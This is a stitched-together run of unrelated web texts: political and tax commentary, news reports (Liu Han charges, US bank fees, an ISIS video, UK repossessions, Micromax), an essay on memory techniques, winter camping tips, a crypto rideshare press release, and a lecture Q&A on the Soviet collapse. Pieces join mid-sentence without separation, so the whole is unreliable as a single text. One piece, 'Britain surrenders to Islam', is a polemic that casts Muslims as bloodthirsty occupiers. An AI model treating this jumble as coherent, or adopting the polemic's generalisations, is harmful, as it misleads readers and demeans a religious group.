candidates now offering themselves for election all believe that they must ape the Tories because they do not think it's any longer possible to address this issue. The extent to which he and they are wrong is that this aping of the Tories is in itself the clearest indication of the existential problem that Labour faces. A political party that thinks it must offer the electorate a variation on the agenda of another party has no reason for being: it does not deserve to win. All it offers is presentation and managerialism (on neither of which issues has Labour shown massive ability) but is devoid of political content leaving an absence of purpose which, like it or not, voters detect. I deliberately say in the title to this blog that this is like most of the debate I witness on tax. When tax debate is also reduced, as all too often it is, to what tax measures may, or may not, be most effective in raising or reducing revenues then that debate also entirely misses the real point of what tax is about. I have said it often, and will again, that tax is not just about raising revenue. It is about influencing behaviour to achieve the goals that we, politically, want to achieve in society. Politics and tax are inextricably linked and both are about choices to be made about the society we want. Choosing the society we want is not a managerial decision. It is a strategic one: a politically strategic one. Of course it has to be considered possible that the strategy can be delivered. If it is not it is not credible. But the possibility that there is only one strategy within politics now, and that it is the neoliberal one that markets alone can determine appropriate outcomes for society is not just wrong, but dangerously wrong because it is so untrue. It is absolutely true that markets have an important and valuable role to play in society, but so too has the state. And on occasion it is just better in delivering solutions than markets. One occasion when that is true is when markets fail, as in 2008, when the states ability as both lender of last resort and as the creator of money can be exploited to sustain economic activity when most others have failed. It would seem that this is not known by the managerialist school of politics, which includes commentators like Rawnsley. They have forgotten that there is political choice available and that they have tools, such as economic policy in what tax plays such a key role, that can help deliver those choices. Instead they now seem to think that their only role is to deliver the managerial options markets demand. But this is to deny something fundamental - which is that politics has any role in setting the strategy when that is its whole purpose. Managerialism is largely for civil servants. No wonder then that Labour has an existential crisis. It's forgotten the choices it can even make, let alone explain them or argue their case. Until it recalls what it is for, why it has to offer choice, and that the alternatives to the neoliberal option are not just powerful, but successful in ways that nothing suggests neoliberalism to be, will it have a message that is worth hearing. Right now Labour's instead just tinkering on the edges - as it did with its choice of tax policies in the election just gone, where from the options available it (by and large) selected the safe, cautious and rather innocuous. When it (and any other party facing a leadership election) realises this is the path to oblivion we might see a revival in the party politics of old. If not, then let's bring on the new. And in the process the choices about tax, and what it is to achieve, will be vital components in the story to be told.GUANGHAN, China, Feb. 21 (UPI) -- Authorities in China accused billionaire Liu Han and his brother of running a mafia-style gang that has members charged with nine murders and other crimes. Prosecutors in the People's Procuratorate in Hubei Province on Thursday filed charges against 36 people in all, including Liu Han, the New York Times reported Friday. The charges encompass 21 crimes, including murder and intentional injury. Liu Han is a businessman and philanthropist worth $6.57 billion and is suspected of being the mastermind behind the criminal organization, which also includes his brother, Liu Wei, Chinese news agency Xinhua reported Thursday. Liu Wei was accused of allegedly ordering the shooting deaths of three people at a teahouse in Guanghan in 2009, the Times said. He went into hiding after the slayings and Liu Han was later arrested after he said he helped his brother evade capture.Obama Wants Big Banks To Pay More for Oversight Fees Would Fund New Regulators By David Cho Washington Post Staff Writer Friday, August 14, 2009 The Obama administration is pressing ahead with its broad overhaul of financial regulation by proposing to hike the fees big financial firms pay for federal oversight while easing the burden for smaller ones, officials said. The new two-tiered, pay-for-regulation approach is intended to partly cover the costs of more vigorous bank regulation and a new consumer financial protection agency. It reflects the administration's view that large banks and lenders should pay more because they are more complex and expensive to regulate, a Treasury Department official said. The new fee structure is part of the administration's effort to rework the relationship between Wall Street and Washington. Legislation is now before Congress, which is set to take up the massive regulatory overhaul in the fall. But the plan has run into opposition from some Republicans and federal regulators who do not want to be stripped of their powers or merged into other agencies. In addition, industry officials have been working vigorously on Capitol Hill to block the creation of a new consumer protection agency. On Thursday, advocates for big financial firms warned that any higher fees imposed by the federal government may be passed on to consumers. Even as administration officials sent reams of legislative language to Congress, they were still ironing out some details, including the new fee structure to fund many of the proposed regulatory changes, officials said. Under the latest plan, any bank with more than $10 billion in assets would face an increase in fees from its existing regulator and the new consumer protection agency. Financial firms with less than $10 billion in assets might see lower fees. Currently, such banks pay different rates depending on whether they answer to federal or state officials. Federally chartered banks pay more than firms supervised by state officials. Under the administration's plan, the federal fees would be lowered to match state rates. Meanwhile, unregulated consumer financial firms, such as mortgage lenders, would have to pay for their oversight for the first time. Banks have long complained that these unregulated companies have a competitive advantage because they do not have to pay fees or answer to a federal supervisor. The administration's plan aims to level the playing field, officials said. "We think the funding mechanism makes sense, though I understand not everyone in the industry is going to like it," said Michael S. Barr, assistant Treasury secretary for financial institutions. "The fee assessment is based on the risks and costs of supervision. The larger institutions require greater oversight, and in terms of consumers, they are reaching many, many more with more complicated products." Industry officials from big firms called the uneven assessment of fees unfair. "We think that it's outrageous to disproportionately and unevenly impose the cost of new regulation on the top banks," said Scott E. Talbott, the senior vice president of the Financial Services Roundtable, which represents the largest financial firms. The largest banks, he added, "should not be forced by the government to... pay the larger share of the funding costs of the [consumer financial protection agency] and regulatory oversight." Not every industry official was unhappy with the proposal. "It is important that community banks are not burdened with new fees," said Paul G. Merski, senior vice president of the Independent Community Bankers of America. "There are additional concerns with the proposed [consumer agency] as crafted, and community banks feel it would be unfair to bear the burden of onerous new regulations when they did not engage in the activities that caused the financial meltdown." © 2009 The Washington Post CompanyBritain surrenders to Islam There has been a "potential act of terrorism" in London, in which potential terrorists potentially ran over potential infidels with a potential van, and apparently also stabbed potential victims and slashed some people's potential throats. In response to this potential act, the London police "shepherded" (the word repeated through the British news reports) hundreds of people through the streets with their hands over their heads. No, those being forced to surrender were not the potential terrorists, but the potential victims. For their own safety, you understand, the innocent citizens of one of history's greatest nations, fountainhead of Western liberty, having been disarmed by their government, and while being continuously surveilled in all their daily activities by government cameras on every street corner, are now being murdered at will, and in quantity, by bloodthirsty peace-loving potential Muslims who have been allowed to occupy their country and live off their welfare state without limits – and the nanny state's response is to demand that all those who haven't yet been run over or slashed walk slowly where police can keep a close eye on them. The most telling part is one report, on Sky News, explaining the video footage of people walking with their hands over their heads. Asked by the reporter whether the police had demanded this, they say no, they simply thought that would be the "safest" posture. And so hundreds of innocent people, knowing that killers were in the area, and not knowing whence the next attack might occur, were voluntarily assuming a posture of surrender. That, in a nutshell, is the product of a generation of progressive propaganda, nanny-statism, and political correctness. That's the mindset of a people who have been trained to believe that their souls – not their physical survival, but their dignity – have no ultimate value. Welcome to the brave new world. The next step will come tomorrow, if not sooner: the state will begin issuing harsh warnings against any sort of "Islamophobic" backlash, such as feeling a little nervous when a group of Muslim men enters the restaurant where you are eating dinner or taking a "racist" second glance at a Muslim man behind the wheel of a van. London is reputed to be the most surveilled city on Earth. And of course, British progressives are just appalled by America's backwardness in continuing to allow private citizens to own firearms. The result of all that state-imposed safety-first paternalism is just what you see: Britons terrorized by religious fanatics with their own less "progressive" notions of paternalism and left with no means, whether moral or physical, of self-defense precisely when their government has ceased to care about defending them. Oh, and all those liberty-crushing surveillance cameras? They provide wonderful TV footage of mass murder for the six o'clock news, don't they? Daren Jonescu writes about politics, philosophy, education, and the decline of civilization at www.darenjonescu.com.I’m clawing away at the wall of the Rubin Museum of Art (fourth floor). And so are all the people around me. You’d think we were, for some rather strange reason, imitating a group of rabid squirrels as they make their way en masse up some hefty tree trunk. But really, we’re just following orders (sure, that’s what they all say) and have gotten quite into our roles. We are, after all, demigods. And there, on the other side of the wall that we are so effectively clawing, are the gods. We’re mad at them. We, too, want access to their ascent to the top—via the Rubin’s elevator shafts, which they now control. What we were doing, some weeks back, is far less bizarre than it may sound. As part of the Rubin’s Brainwave series, memory grandmaster Ed Cooke was leading us in an immersive memory workshop. Our squirrel-like maneuverings couldn’t have been more purposeful. We were putting into effect the most extreme method for storing memories: not just a memory palace—where you visualize elements as vividly as possible in a familiar space that you recreate in your mind, and then, to recall them, walk through that space and look at the pictures you’ve put there—but an actual physical embodiment of each idea we were to memorize. And at the moment, we were committing to memory the six realms of existence, according to Buddhism. Gods and demi-gods, as you will doubtless have guessed, are two of these realms. I knew the technique would work. After all, I’d read Joshua Foer’s wonderful Moonwalking with Einstein and knew all about memory palaces and their effectiveness. (Ed Cooke, our fearless leader that evening, had been Foer’s coach in his successful quest to win the U.S. memory championship.) As for our vigorous role-playing, as Ed later told me, “memory is always reliant on the external environment to usher it along, whether that environment is another person’s conversation, a space, the rhythm of one’s body mid-dance move.” What better way to cue recall than by physical movement. So, the effectiveness of the approach as such wasn’t at issue. (Hell; hungry ghosts; animals; humans; demi-gods; gods. There. See? A month, to the day, later.) What I was interested in was something far more specific: the application of memory, of these sorts of memory-enhancing techniques, to literature—and, on an even broader scale, to creativity. (A complete side-note: I find it fascinating that embodiment has the same effects on creativity as it does on memory. Just as it’s easier for me to remember the realms of existence because I acted each one of them out, so, too, will it be easier for me to think outside the box if I actually have a physical box and act the metaphor out, according to recent research.) Two things had caught my eye as I read Foer’s book and prepared for my meeting with Ed Cooke. First, the original purpose of these mnemonic techniques, and second, the supposed tie between memory and enhanced creative ability. *** The art of memorization rose to its peak before the heyday of the written word, at a time when it wasn’t only nice to remember, but essential to do so if one was to transmit any sort of cultural or historic—or any other, for that matter—information on to others. If you couldn’t remember, you couldn’t pass on—and you couldn’t even return to the information for your own personal use. Poetry didn’t originally emerge simply because it was beautiful, but because it was also an effective means of historical and cultural transmission: in poetic form, metered and rhymed, it was far easier to remember. Foer traces the tradition back to the Rawis in pre-Islamic Arabia, official memorizers who were tied to poets for the sole task of remembering their poetry. The word literally means “reciter” – and that’s what the rawis were. Until the 8th century, when it could at last be written down, they passed the pre-Islamic poetic tradition from one generation to the next, and from one person to a wider audience. And what of those two masterpieces of classic literature, the Odyssey and Iliad? As early as 1781, Jean-Jacques Rousseau speculated that they were, in a sense, written long before they were written: first, they were “written only in men’s memories,” and only later, “laboriously collected in writing.” In fact, they may have even been structured and formulated as they were with the end of future memorization in mind. Foer points to the 1920 work of Milman Parry, who argued that the Oddysey and Iliad were written precisely to be memorable. And what of more traditional poetic goals? Wasn’t the rationale somewhat connected to that sheer, well, beauty of poetry? Not really, Foer told me. “Those traditions tend to use rhythm, rhyme, meter, and often intricate structure to help make stories more memorable. That’s part of the reason,” says Foer, “that poetry is so much easier to memorize than prose, and that songs are so much easier to memorize than poetry.” Not so much artistic inspiration as historic necessity, then. Prosaic beginnings for what are now much more ambitious ends. So much for the origins. But what of the present? Could you, I wondered, use mnemonic techniques, not just for the types of competition in which Cooke specializes and Foer trained, but with that original purpose in mind—that is, to memorize writing? And if you could, would you be in any way closer to the material? Or would you, to the contrary, be further from its sense, so busy would you be remembering that you couldn’t be bothered to truly reflect? Something in me rebelled against the absence of the ability to read and reread at leisure, to mark up, jot down notes and thoughts, pause for consideration, move to different sections at leisure—out of order, even, if that’s what struck my fancy. In other words, the ability to really engage and interact with the material. Would memory help understanding, as Socrates would have it, or would it rather hinder it? My money was on the latter. And to a certain extent, I was right. At first, Cooke told me, it would be difficult indeed to do what I’d described. But for someone adept at memorization, someone more like Cooke himself than like me? In that case, I’d be wrong—but in a very different sense that I’d realized. Cooke describes the process: “Gradually the memory technique gives way—having acted like a scaffold—and you just know the contents. There are other positive things about this: the process of learning forces a depth of pattern perception that means you truly engage with the material.” True engagement, real knowledge, depth of perception. That sounded promising. But what does that mean in practice? Cooke elaborates: It’s related to the way I once heard that Benjamin Franklin learned to write. He’d take any piece of text that had impressed him, write a summary of it and leave it for a few days. Once he had lost memory of the exact wording, he’d try to reproduce it from his description. He’d find that by comparing what he came up with against the original text, he’d be confronted with subtleties he’d not noticed first time round, and therefore learn how these great writers maneuvered round ideas. Similarly, when you learn something by heart, your initial failures will be at the ingenious, surprising and unconventional moments in the poetry, and so act as a powerful way of noticing where words are acting with unusual power. What a fascinating idea. I hadn’t even considered it. In the process of memorization, we might not be reflecting on the text in the same way I had originally meant the term—the same active thought and interaction—but we are reflecting in another, different but no less profound manner. Memorization, it seems, is another way of forcing our mind to pay attention—to really pay attention. And it can serve to stop us, to force us to think and reconsider, in a more basic fashion that we would were we to choose the stopping (or reflection) points ourselves—because instead, our brain has oddly enough chosen for us in the way it is storing, processing, and recalling information. In the very process of memorizing, remembering—and faltering—we don’t just learn more about what we are reading. We also learn more about how we are reading, how we are reacting to the material—and, in a way (or, at least, after we’ve stopped to ponder our mistakes in the manner Cooke suggests we do) why we are reacting to it as we do. I’ve long been a strong proponent of memorizing poetry, but this makes me think of it in a whole new light. It opens up cognitive possibilities that don’t in any way supplant or eclipse, but rather supplement the type of active reading I’d had in mind. It’s active reading on a different level entirely. And what of that second element that had caught my attention in Foer’s writing, the potential tie between memory and creative ability more broadly? To that topic, I will turn to next, in the second part of this piece. In the meantime, I plan to busy myself with poetic memorization—a memorization that, I think, will have an entirely different flavor now that I have an entirely different way of thinking about it. Many thanks to Ed Cooke and Joshua Foer for their time and assistance with this piece.ISIS fighter abuses captured Lebanese soldier in new video Monday, 8 September 2014 To view this video please enable JavaScript, and consider upgrading your web browser A video that has appeared online shows the verbal and physical abuse of a captured Lebanese soldier at the hands of an Islamic State of Iraq and Syria militant. In the video, the soldier can be seen lying on the ground with his face to the camera as his tormentor can be heard identifying himself as an ISIS member. He forces the soldier to repeat: “ISIS is staying despite [Gen.] Jean Kahwagi’s nose.” Kahwagi is the commander of the country’s army. “This is a message to Kahwagi: Your soldiers are under our boots,” the ISIS fighter says at the end of the clip, after kicking the terrified soldier repeatedly.Just after the New Year, on the frozen and snow-covered January lakes of Northern Minnesota’s Boundary Waters Canoe Area, I camped in a pristine, white wilderness for a week straight. The expedition, run by Voyager Outward Bound School of Ely, Minn., was to be my initiation into the winter-camping scene. Under the guide of three instructors, I set off with four fellow winter camping novices to dogsled, cross-country ski, camp, and generally embrace living outdoors in wintertime for a week of cold days and even colder nights. Here are a few tips I took away from my time in the frozen and beautiful North Woods. — Amy Oberbroeckling Dog as Copilot — Dogsledding is not a passenger sport. Outside of cyclocross bike racing, driving a sled is one of the hardest physical challenges I have ever experienced, including maneuvering top-heavy sleds around trees, through undergrowth, and up slippery hills on narrow portage trails. Voyageur Outward Bound is home to 65 adorable dogs, all bred to live and breathe pulling. For our expedition, we picked a team of 11 eager pups to pull two sleds loaded with all of our camping gear, weighing around 400 pounds each! With dogsleds, winter camping is almost like car camping in that you get to bring along almost as much gear as you want without worrying about carrying it. The dogs are happy to help. Set Up Camp Quickly — When we arrived at camp each evening we were tired from traveling all day. After finding a site protected from wind, we unharnessed the dogs and leashed them to a line where they could rest for the night. After the dogs were settled we all got to work, quickly unloading the sleds and setting up our camp, trying to beat the cold and the quick-setting sun. To get camp set up fast we divided up the tasks and gave everyone a job. Some worked tarps and tents, others went into the forest to collect wood to be sawed and chopped by hand. Another person went out and chipped a hole in the lake ice large enough to collect water. The chores kept us warm and provided the necessary fuel for our fire to cook food and help us stay comfortable through the night. Glove Treatment — Hands are hard to keep warm. This is especially true if your liner gloves get wet from sweat after a long ski. On my trip, by the end of a day of skiing my wool liner gloves were often soaked. A trick to dry them out: Put your wet liner gloves in the waistband of your long underwear while setting up camp. Heat from your core will let the wool dry out enough to pull them on once camp is set for the night. Food = Warmth — Our Outward Bound instructors were excellent cooks. Eating enough on the trip was never an issue. When winter camping, this is important because when you become cold, calories serve to heat you back up again. Eat hearty, calorie-rich food out there like nuts, granola, chocolate, peanut butter, and more for adding fuel to your internal fire. On our trip, breakfast and dinner were one-pot belly fillers like scrambled eggs and macaroni and cheese. To make more time for travel we skipped lunch. Instead, we packed “squirrel bags,” which are little snack-filled baggies with a random assortment of meats, cheeses, and crackers. We also ate “Flapper” bars, a dense and fatty Outward Bound creation with sugar and enough calories to get you through a day. We carried all the calorie-dense snacks in a front pocket of our anorak jacket for easy access as we skied and sledded through the winter woods. Chisel a Hole in the Ice for Water — Instead of melting snow for water we simply chipped through lake ice. An ice chisel or “spud” tool could chip a hole about 5 inches in diameter though the ice with a couple minutes of work. The spud is a long steel tube with a heavy steel blade at the end. The weight of the tube drives the steel blade into the ice with ease. Fresh North Woods water beneath the ice is then unlimited for use in camp and as liquid for the next day on the trail. Plastic Bags and Big Boots — Wet feet are a recipe for disaster while out in the cold. To prevent this, Outward Bound provided us with vapor barrier liners (VBLs) to put on between our thin liner socks and thick wool outer socks, creating a warm barrier between the bag and our feet. We then slid our feet into the organization’s clunky “Mouse Boots,” which Outward Bound provided as our final barrier against the cold. The boots, originally designed for military use, weighed about 44 ounces apiece but shed away water and snow, keeping us warm. Insulate From Beneath at Night — One of the biggest concerns while winter camping is losing too much body heat during the night to the cold ground below. For this reason, sleeping pads are an essential piece of gear. They trap a layer of non-circulating air between your body and the cold ground. Eventually body heat warms this space and the trapped air becomes an insulator. Our sleeping pads were carried on the dogsleds so we were not concerned about bulk. We used two foam pads each. They were about half-an-inch thick, and one of them we doubled up under the core of our bodies to make it extra thick for extra insulation and warmth. Go to bed Warm — Warming up around the campfire before bed feels great, but it does little to heat your body internally. In order to warm your core, run around camp a few times or do jumping jacks. Exert yourself enough to become short of breath and maybe on the verge of a sweat. This nightly routine got my blood circulating, warming me up before hopping in the sack. Sleeping Bag System — Staying warm at night was not as hard as I had anticipated. We paired a synthetic-filled outer sleeping bag with a subzero-rated down inner sleeping bag — cozy! Putting extra clothing layers in between both sleeping bags kept them dry and warm at night and made getting ready in the cold the next morning easier. For added warmth, every night we filled 1-liter bottles with hot water and threw them in the bottom of the bags, warmth seeping up from the feet as we fell asleep. Winter camping does not have to mean being Cold! — After a week in the BWCA, I had learned the ins and outs. We were rarely cold for long out there. My instructors had a fix for almost any scenario, no matter if it was 30 degrees or below zero. With the right gear and the right skills, you can travel and live outside all winter long. —Amy Oberbroeckling is an assistant editor.Image caption The number of home repossessions has been held down by record low interest rates The number of homes repossessed from struggling owners in the UK fell in the second quarter of the year. There were 7,700 properties repossessed in April, May and June, the Council of Mortgage Lenders (CML) said, a drop of nearly 4% on the previous quarter. This put repossession levels back to the same position as the last three months of 2012. The number of homes being seized by lenders has been falling in recent years as interest rates stay low. Low-cost mortgages Homes are repossessed if householders fall well behind on mortgage payments and lenders see no prospect of the bill being paid. Repossession figures in the recent financial crisis peaked in 2009 when there were 48,900 homes seized over the course of the year. There are 11.3 million mortgages outstanding in the UK. The numbers have fallen since 2009 owing to the record low level of interest rates. The Bank of England has held the Bank rate at 0.5% for more than four years, and lenders have been competing for relatively few buyers by offering low mortgage rates. In addition, lenders have been under pressure not to repossess properties unless it is genuinely a last resort. They must do a considerable amount to convince the courts that they should seize a borrower's home. Mortgage rates and, in turn, repossessions might be expected to remain low following an announcement of interest rate plans by the Bank of England on Wednesday. The Bank said it would not consider raising the Bank rate until the jobless rate has fallen to 7% or below, which could be another two or three years. The Bank rate is a key factor used by financial institutions when setting their own rates for borrowers and savers. "Yesterday's message from the Bank of England provides some encouragement to those borrowers who are struggling that any rise from the current historically low Bank rate will be linked to an improvement in the wider economy," said the CML's head of policy, Jackie Bennett. Arrears The CML figures show that the number of repossession cases totalled 15,700 in the first half of 2013, the lowest six-monthly figure seen since the second half of 2007. The lenders' group expects repossessions to hit 35,000 by the end of the year. The number of households falling behind on their mortgage payments dropped to its lowest level since autumn 2008 in the second quarter of the year. At the end of June, a total of 157,700 mortgages, equivalent to 1.4% of all loans, were in arrears of 2.5% or more of the balance. The amount of people struggling with severe arrears of 10% or more of the balance was unchanged compared with the first quarter. Housing Minister Mark Prisk said: "I would urge anyone with financial difficulties to seek advice from their lender early, so that repossession continues to remain the last resort."Press releases Chasyr: Driving Mainstream To Cryptocurrency Here is a California startup that will use the power of the Ethereum blockchain to propel forward as the leading edge of ridesharing. Early adopters will be able to use cryptocurrency to request and accept rides using smart contracts on the commerce DApp Swarm City. This is where Chasyr will always be available to anyone wanting to request a ride in a decentralized setting transparently on the blockchain. This new approach towards ridesharing might sound challenging for adoption, but Chasyr intends to prevail. [Note: This is a press release] Protecting Their User Base In latest news Chasyr has announced its plan to become a transportation network company (TNC) which won’t be an easy process, but is a great move on their part. This will create a familiar way to onboard drivers and attract a mainstream user base in a safe and legal manner. Taking this route will give them the opportunity to provide centralized benefits that only a company similar to Uber or Lyft can offer. This includes insurance, background checks, and proper vetting that comply with local and state regulations and most importantly provide a safe and comfortable place for its users. In many cases, the absence of these benefits is often the deal breaker for most consumers to even want to try the new Uber alternative in town. “We’ve recently connected with a known innovator in the TNC insurance field who can’t wait to provide an umbrella coverage for Chasyr LLC. Once costs are figured out we will then decide if fundraising is needed. With insurance there is really no stopping us.” -Tommy Marquez Who And How CEO & Founder Tommy Marquez was a Uber driver for two years who learned the power of incentives by focusing on driver sign-ups instead of just driving. Creating his own ambassador program made him a top referrer and got Uber several new drivers in multiple states. Now with his own rideshare startup to grow it seems like he is the right person for the job. Now over 600 drivers have shown interest in Chasyr without the need of any sign on bonus because they are seeing the incentive that cryptocurrency brings to the table. Chasyr will truly have the opportunity to be a challenging competitor to any rideshare service out there today by becoming the first transportation network company of its kind. Blockchain technology and cryptocurrency is finally getting the attention it deserves and the one use case we all want to see succeed in demonstrating its power is coming. Stay up to date with Chasyr at www.chasyr.com or follow them on Twitter @chasyrsonlyMUMBAI (Reuters) - A year ago, Micromax vaulted past Samsung Electronics Co Ltd to become India’s leading smartphone brand. Today, its market share has nearly halved, several top executives have resigned, and the company is looking for growth outside India. A worker displays a Micromax mobile phone inside a store in Kolkata in this December 4, 2013 file photo. REUTERS/Rupak De Chowdhuri/Files In Micromax’s slide to second place is a tale of the promise and peril of India’s booming but hyper-competitive smartphone industry. India is the world’s fastest-growing smartphone market. Shipments of smartphones jumped 29 percent to 103 million units last year. Rapid growth has helped nurture a crop of local brands, led by Micromax, that outsourced production to Chinese manufacturers. Now, as Samsung rolls out more affordable phones, the same Chinese factories are entering the Indian market with their own brands, depressing prices and forcing Indian mobile makers to rethink their strategies. “What the Indian brands did to the global brands two years ago, Chinese phone makers are doing the same to Indian brands now, and over the next year we see tremendous competition for Micromax and other Indian smartphone makers,” said Tarun Pathak, analyst at Counterpoint Research in New Delhi. MANAGEMENT TENSIONS Micromax, which was founded in New Delhi by four partners in 2000 but only began selling mobile phones in 2008, built its market share by working with Chinese manufacturers such as Coolpad, Gionee and Oppo to offer affordable phones quickly. In 2015, it launched more than
framework of the corporations, where the exercise of those decisions is not accountable. So it seems to me that in our day, when our society is riven by its contradictions, unable to use its abundance, unable to use its productive capacity in a rational, humane and democratic manner, that what is on the agenda today is the democratization of economic power, the rendering accountable of the enormous economic potential and power that exists in our society to make this a better and decent and democratic world. Voilà. End of lecture Question Period Well, dear friends, first of all, we have to have this serious debate because the real terms of the debate are rendered invisible by the absurd rhetoric and the absurd way in which we speak about ourselves, and by the mass media whose power and determination is to keep the real terms of the debate invisible. The real terms of the debate are: why is this society collapsing? Why does this economic machine not work? Who is responsible? If the people who are responsible are not going to do something about it, let them get the hell out. Moderator: I know there have got to be lots of questions. We’ll allot a certain amount of time. We’ll try to recognize everyone. Question: You’ve analyzed this quite well, but what does one do to change [the situation]? Well, I think part of the problem… I don’t mean to be repetitious… but I think that people are clearly immobilized and confused at the moment. I think one of the reasons that people are immobilized and confused is that the proper debate is not out there. It’s not possible for people to express what they know from their experience to be true, to assert its truth. The public debate rejects our experience and understanding because the public debate is designed to contain us, to make us accept and even to believe in the superiority of this situation. I think people know what needs to be done out there. In a sense the quintessential problem confronting our country is the enormous concentrated power to shape people’s lives, to define discourse, as [name indistinct] pointed out, which is accountable to no one. The democratization of that power means, I think, certainly radical changes in the structure of our society, but ones for which in many respects people are ready and which indeed are supported by most of the values that this society has lived by historically and attests to. It seems to me it’s really quite simple. We don’t have democracy in the sense in which we normally understand ourselves to have democracy in which people often speak of us as having. We don’t have that. Why do we not have it? Because of this eternal and now much more intensive, much more intense tension that has existed from the beginning between property and democracy, between popular majorities as the Federalists called them, disdainingly, and the rights of property. This now has become an enormous incubus on American society. We have enormous concentrated power for which nobody is accountable, and this is not acceptable. Roger and Me [the documentary film] is a reflection of a sensitivity that says, “We’ve got to talk about this, Roger. You’re responsible for this.” So I really think by not knowing these things, not changing the discourse of our lives, and the discourse in the public arena, coming to agreements amongst one another by hard work, by hard discussion, how can we know it’s true? And by the way, I don’t think this can be done in the absence of action. That is to say, in a haltingly naive phase of my recent existence, I tried to convince some people in the Congress that we were headed into a really horrible situation, and they didn’t want to know. They didn’t. They don’t want to believe what is uncomfortable for them to believe, so my decision was that you have to go into the trenches, that you have to work on projects that are going to materialize these ideas, that you have to work against plant closings, that you have to work for measures that alleviate the social burdens that exist in a city like New York, that you have to work for things while articulating these ideas because it seems to me it’s only in the combination of action and debate of ideas that people will begin to understand the relevance and the necessity of a new discussion. You can’t have in that sense—I cede your point—you can’t have a drawing-room discussion which will prevail. Certainly the people in the National Endowment for Democracy believe that. They don’t just sit back and spend millions of dollars on printing books and making radio tapes and television shows. No. They created new political institutions. They then created new political parties, financing people like Arkady Murashev, the Inter-Regional Group in the Soviet Parliament, until recently. It doesn’t exist anymore. The Inter-Regional Group was the group of pseudo-democrats, pro-capitalists, speaking, in many respects for the interests represented in the agglomeration of black market operations in the Soviet Union. Arkady Murashev was systematically cosseted, financed and trained by an organization in Washington very closely tied to certain agencies whose names we don’t want to pronounce in the present circumstances. Murashev was a liaison man between Washington and Yeltsin. The National Endowment for Democracy gave $40,000 just for the faxes, and the printing machines and the telephones in the Initiatives Foundation, which was the organization that the Inter-Regional Group used to put out its messages, get itself organized, make contacts, etc. The United States was financing that operation. Arkady Murashev is now the chief of police of the city of Moscow. This is heavy stuff. I mean, really, it’s incredibly dramatic, but we mustn’t go on in this vein because there are questions to be answered. Question: Does every country have to go through this period of savage capitalism to become socialist? No. I don’t believe that. No. Question: Bush seemed to like Gorbachev. Was Gorbachev foolish? Was he taken for a ride? These are the great mysteries. There are, as you know, there are a different views. There are different theories about that. One of them is that Gorbachev was a mole, that Gorbachev was a deep-cover or Western intelligence agent. I believe that’s exaggerated. I believe that’s off the wall, but I do believe that there’s an element here that’s important to understand. There was in the Soviet Union, as a result of the very success of the industrialization of the Soviet Union, an enormous alienated set of strata amongst the educated population because the Soviet elite absorbed people at a very small rate. It didn’t reach out to large numbers of people. They were educating enormous numbers of people, professional scientific workers, managers, and these people were mostly urban people. They were the fruit, in many respects, of industrialization. At the same time, being urban people, they found themselves trapped in the most difficult conditions in the Soviet Union because in its industrialization the Soviet Union really ignored a lot of problems. Theyfound themselves, in many respects, in a similar situation as the United States, where the decay of urban areas, the lack of equipment, the lack of infrastructure, the lack of adequate facilities for health or education etc. became a real problem. They didn’t have the resources to industrialize, to raise the standard of living in the really poor republics of the Soviet Union, and to deal with the urban problem, as we call it in the United States. So these people were… imagine… all educated people earning this education and looking upon themselves as deserving of the advantages and prerogatives of their Western counterparts, living in the equivalent of New York City, but earning the wages of a skilled worker. They didn’t like it. They felt shut out. They were angry, and it’s those people that the neoliberals were recruiting, not just the American neoliberals but their own neoliberals. There were neoliberals in the Soviet Union. There were reactionary people in the Soviet Union this [name indistinct] operation out in Siberia, the so-called sociological think tank. There are people who, I don’t know why… Perhaps when you become very isolated from the world and separated from reality you conjure up the most amazing dreams in your mind. I think Marx called it idealism. In any case, these people were very much Western idealists and they came, frankly, into Moscow and Leningrad fervent believers in the need to embrace Western institutions because of their frustration, because of their understanding of their own past. Whether it was distorted or not, it’s not for me to say. It’s because of the way they viewed and felt about their past, because of their own personal frustration, because of the problems which were very real that they experienced by the Soviet leadership, by the Soviet economy and society. They were alienated, and that’s where there was recruitment. When economic growth slowed down it made it much worse, and it spread the basis of recruitment very effectively. There is a collection of essays which I think is quite remarkable and valuable, which gives you some background about the incredible contradictions in the Soviet Union, and how the Soviet Union, in fact, more than a decade and even two decades ago, was in fact being prepared for what is happening. It was ripening for some big bull shaking the tree, which is eventually what happened. That’s the collection that The Monthly Review has published recently, After the Fall, something like that. After the Fall of the Soviet Union is really a very valuable collection of essays on the Soviet Union, or whatever it is after communism. Very useful stuff. Question: Could you talk about Third World countries? That’s a really hard question. I’ve worked in Third World countries which were socialist countries and which were under attack. I worked in Mozambique in the beginning of the 1980s when the South African-Western-CIA operations were really beginning to [take a toll], and people were dying by the tens of thousands because the roads had been cut, and the supplies had been cut, and the health stations blown up, and I think that it was very hard for them to survive that. Socialism proved very frail in Mozambique, even though the leaders of the revolution had been born in armed struggle, formed by armed struggle, were dedicated to armed struggle, but the society just couldn’t withstand that kind of pressure. In some ways I think that’s true of the Soviet Union. There was a war in the shadows waged against the Soviet Union on a massive scale, and what these events prove is the Soviet Union was insufficiently strong to stand up to those pressures, and I think this is all the more true in the Third World. I don’t know, but I don’t want to say that I know the answer, whether they should try to make that jump or not. I think that will depend on what happens in the Western world. I don’t see any reason why the jump couldn’t be made if the West, Western Europe and the United States, in particular North America saw [supported] significant transformation of the present system of power. Then it’s not a problem, but with this massive opposition coming from the West, it’s very difficult to survive. Question (apparently edited from video recording): __________________ These same people today, and we’re talking about within a few months, within the end of the year there being not 50,000 but between six and eight million unemployed people in Russia, 130 million people, labor force of 65 or 70 million, and I saw this same thing happening in East Germany. I was very briefly in Humboldt University in 1989 or 1990, I can’t remember which now. The whole situation was in upheaval, and I saw many intellectuals genuinely enraged by the arrogance of the Honecker regime, and at the same time, unfortunately, completely unaware of what would happen if that regime went down, taking everything, “really existing socialism,” with it. And my question would be, OK, it’s a question. You know the old version of this question used to be what about Stalin, but it’s a little different now. My problem is this: let’s look at it in human terms, OK? Just forget ideology. What has happened as a result of the materialization of the dreams of the so-called reformers and democrats in the Soviet Union? What has happened is what has happened in Poland, and worse: that the standard of living of ordinary people is going to collapse, that old people will be destitute, that children will be without health care, that the transportation system is collapsing, that there will be no food distribution by spring, that people will starve, that there is continuous ethnic conflict. Now, the Soviet system of prices and of raw material supplies were such that enormous quantities… that the supply system worked in a way which led to the waste of vast quantities of raw materials and semi-finished products. I mean vast quantities. So the idea was to go in to work at the enterprise level to create incentives to create better accounting, a system of prices which would reflect the real value of these raw materials and not the fact that they could be replaced anytime you wanted because all you have to do is put an order in. It didn’t matter what you did with them. It [the reform] was focused on the enterprise, on profit incentives, and this loosening of the tight bonds on the enterprise, really did lead to 